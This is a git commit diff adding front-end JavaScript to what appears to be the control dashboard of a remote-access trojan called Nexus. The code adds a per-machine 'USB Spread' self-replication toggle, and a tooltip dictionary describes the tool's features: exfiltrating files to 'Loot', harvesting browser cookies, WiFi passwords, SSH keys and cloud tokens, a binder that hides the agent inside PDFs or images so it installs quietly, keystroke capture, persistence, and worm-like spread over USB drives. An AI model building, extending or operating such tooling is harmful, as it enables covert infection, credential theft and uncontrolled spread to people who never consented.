v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite
This commit is contained in:
156
public/app_v2.js
156
public/app_v2.js
@@ -482,3 +482,159 @@ document.addEventListener('click', function (e) {
|
||||
const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', '');
|
||||
if (nid) openDrawer(nid);
|
||||
}, true);
|
||||
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
// COMPLETENESS 3 — USB spread controls + hover terminology tooltips
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
|
||||
// ── tooltip stylesheet ──
|
||||
(function injectTipCSS() {
|
||||
if (document.getElementById('nexusTipCSS')) return;
|
||||
const st = document.createElement('style');
|
||||
st.id = 'nexusTipCSS';
|
||||
st.textContent = `
|
||||
.nx-term { border-bottom: 1px dashed #64748b; cursor: help; position: relative; }
|
||||
.nx-term:hover::after {
|
||||
content: attr(data-tip);
|
||||
position: absolute; bottom: 130%; left: 50%; transform: translateX(-50%);
|
||||
background: #1e293b; color: #e2e8f0; border: 1px solid #334155; border-radius: 8px;
|
||||
padding: 0.5rem 0.7rem; font-size: 0.72rem; line-height: 1.35; width: 250px;
|
||||
white-space: normal; z-index: 10000; box-shadow: 0 8px 24px rgba(0,0,0,.5);
|
||||
text-align: left; pointer-events: none;
|
||||
}
|
||||
.nx-term:hover::before {
|
||||
content: ''; position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%);
|
||||
border: 5px solid transparent; border-top-color: #334155; z-index: 10001;
|
||||
}`;
|
||||
document.head.appendChild(st);
|
||||
})();
|
||||
|
||||
// ── terminology dictionary (hover popups) ──
|
||||
const NX_TERMS = {
|
||||
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
|
||||
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
|
||||
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
|
||||
'Exfiltration': 'Copying files off a machine and sending them back here, where they land in Loot.',
|
||||
'Credential Harvesting': 'Collecting saved logins from a machine: browser cookies, WiFi passwords, SSH keys, shell history, cloud tokens.',
|
||||
'Binder': 'Embeds the Agent inside a normal file (PDF, doc, image). When the file opens, the file opens normally AND the Agent quietly installs.',
|
||||
'Dropper': 'The bound output file. It carries the original file plus the Agent payload.',
|
||||
'Persistence': 'Making the Agent survive reboots: a systemd service on Linux, a launchd job on macOS, a scheduled task + registry run key on Windows.',
|
||||
'Kill Switch': 'One button that tells every Agent to shut itself down immediately. Use if a node is compromised or must be wiped.',
|
||||
'Fast Poll': 'A mode where the Agent checks for new commands ~every second instead of every heartbeat — makes the Live Console feel instant.',
|
||||
'Loot': 'Everything collected from your Nodes: exfiltrated files, screenshots and harvested credentials.',
|
||||
'Input Capture': 'Records keystrokes, clicks and scroll on a Node (needs pynput installed on the target).',
|
||||
'Telemetry': 'Machine stats streamed from Nodes: CPU, memory, disk, network.',
|
||||
'Scheduled Tasks': 'Recurring commands the server dispatches on a timer to a tag group or all nodes.',
|
||||
'Tags': 'Labels you put on Nodes (e.g. "prod", "jr-pc") so you can target a group with one command.',
|
||||
'Broadcast': 'Send one command to every online node at once.',
|
||||
'USB Spread': 'Self-replication: the Agent copies itself onto any USB drive plugged into that machine, so carrying the stick spreads the agent.',
|
||||
'Autorun': 'A file (autorun.inf) on a USB drive telling Windows to run a program when the stick is inserted. Modern Windows blocks it by default.',
|
||||
'Agent Token': 'A shared password Agents use to talk to this server, so random internet scanners cannot register fake nodes.',
|
||||
'Operator Token': 'Your admin password for this dashboard. Keep it private — it controls every machine with an Agent.',
|
||||
'Fastpoll': 'High-frequency command checking for near-instant console response.',
|
||||
};
|
||||
|
||||
function applyNxTerms() {
|
||||
if (!document.body) return;
|
||||
const skip = new Set(['SCRIPT', 'STYLE', 'CODE', 'INPUT', 'TEXTAREA', 'PRE', 'TITLE']);
|
||||
const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, {
|
||||
acceptNode: function (n) {
|
||||
if (!n.nodeValue || n.nodeValue.length > 120) return NodeFilter.FILTER_REJECT;
|
||||
const t = n.parentNode && n.parentNode.nodeName;
|
||||
if (skip.has(t)) return NodeFilter.FILTER_REJECT;
|
||||
if (n.parentNode.closest && n.parentNode.closest('.nx-term')) return NodeFilter.FILTER_REJECT;
|
||||
for (const term of Object.keys(NX_TERMS)) {
|
||||
if (n.nodeValue.includes(term)) return NodeFilter.FILTER_ACCEPT;
|
||||
}
|
||||
return NodeFilter.FILTER_REJECT;
|
||||
}
|
||||
});
|
||||
const targets = [];
|
||||
while (walker.nextNode()) targets.push(walker.currentNode);
|
||||
const sorted = Object.keys(NX_TERMS).sort((a, b) => b.length - a.length);
|
||||
const combined = new RegExp('\\b(' + sorted.map(t => t.replace(/ /g, ' ')).join('|') + ')\\b', 'g');
|
||||
for (const node of targets) {
|
||||
let html = node.nodeValue;
|
||||
html = html.replace(combined, (m0) =>
|
||||
'<span class="nx-term" data-tip="' + NX_TERMS[m0].replace(/"/g, '"') + '">' + m0 + '</span>');
|
||||
if (html !== node.nodeValue) {
|
||||
const span = document.createElement('span');
|
||||
span.innerHTML = html;
|
||||
node.parentNode.replaceChild(span, node);
|
||||
}
|
||||
}
|
||||
}
|
||||
setTimeout(applyNxTerms, 1500);
|
||||
setInterval(applyNxTerms, 15000);
|
||||
|
||||
// ── drawer: USB spread toggle ──
|
||||
async function drawerToggleSpread(nodeId) {
|
||||
const btn = document.getElementById('spreadBtn');
|
||||
const wasOn = btn && btn.dataset.on === '1';
|
||||
try {
|
||||
await api(`/api/nodes/${nodeId}/spread`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: !wasOn, mode: 'copy' })
|
||||
});
|
||||
window._spreadState = !wasOn;
|
||||
if (btn) {
|
||||
btn.dataset.on = wasOn ? '0' : '1';
|
||||
btn.textContent = btn.dataset.on === '1' ? 'USB Spread ON' : 'USB Spread';
|
||||
btn.style.borderColor = btn.dataset.on === '1' ? '#4ade80' : '';
|
||||
btn.style.color = btn.dataset.on === '1' ? '#4ade80' : '';
|
||||
}
|
||||
} catch (e) { console.error('spread toggle failed', e); }
|
||||
}
|
||||
|
||||
// inject spread state + button into drawer render
|
||||
(function wrapDrawerRender() {
|
||||
const prev = openDrawer;
|
||||
openDrawer = async function (nodeId) {
|
||||
await prev(nodeId);
|
||||
try {
|
||||
const sp = await api('/api/spread');
|
||||
const on = (sp.nodes || []).includes(nodeId);
|
||||
window._spreadState = on;
|
||||
const btn = document.getElementById('spreadBtn');
|
||||
if (btn) {
|
||||
btn.dataset.on = on ? '1' : '0';
|
||||
btn.textContent = on ? 'USB Spread ON' : 'USB Spread';
|
||||
btn.style.borderColor = on ? '#4ade80' : '';
|
||||
btn.style.color = on ? '#4ade80' : '';
|
||||
}
|
||||
} catch (e) {}
|
||||
};
|
||||
})();
|
||||
|
||||
// patch drawer action row to include the spread button
|
||||
(function injectSpreadBtn() {
|
||||
const origRender = window.renderDrawerInner;
|
||||
const prevOpen = openDrawer;
|
||||
// simplest: add button after drawer opens via DOM observer on the action row
|
||||
const mo = new MutationObserver(() => {
|
||||
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
|
||||
if (row && !document.getElementById('spreadBtn')) {
|
||||
const b = document.createElement('button');
|
||||
b.id = 'spreadBtn';
|
||||
b.className = 'btn btn-secondary';
|
||||
b.dataset.on = '0';
|
||||
b.textContent = 'USB Spread';
|
||||
b.textContent = window._spreadState ? 'USB Spread ON' : 'USB Spread';
|
||||
b.style.borderColor = window._spreadState ? '#4ade80' : '';
|
||||
b.style.color = window._spreadState ? '#4ade80' : '';
|
||||
b.title = 'Self-replication: agent copies itself to any USB drive plugged into this machine, every 10 minutes';
|
||||
b.onclick = () => drawerToggleSpread(window._drawerNodeId);
|
||||
row.appendChild(b);
|
||||
}
|
||||
});
|
||||
mo.observe(document.body, { childList: true, subtree: true });
|
||||
})();
|
||||
|
||||
// remember drawer node id for the spread button
|
||||
const _origOpenDrawer2 = openDrawer;
|
||||
openDrawer = async function (nodeId) {
|
||||
window._drawerNodeId = nodeId;
|
||||
return _origOpenDrawer2(nodeId);
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user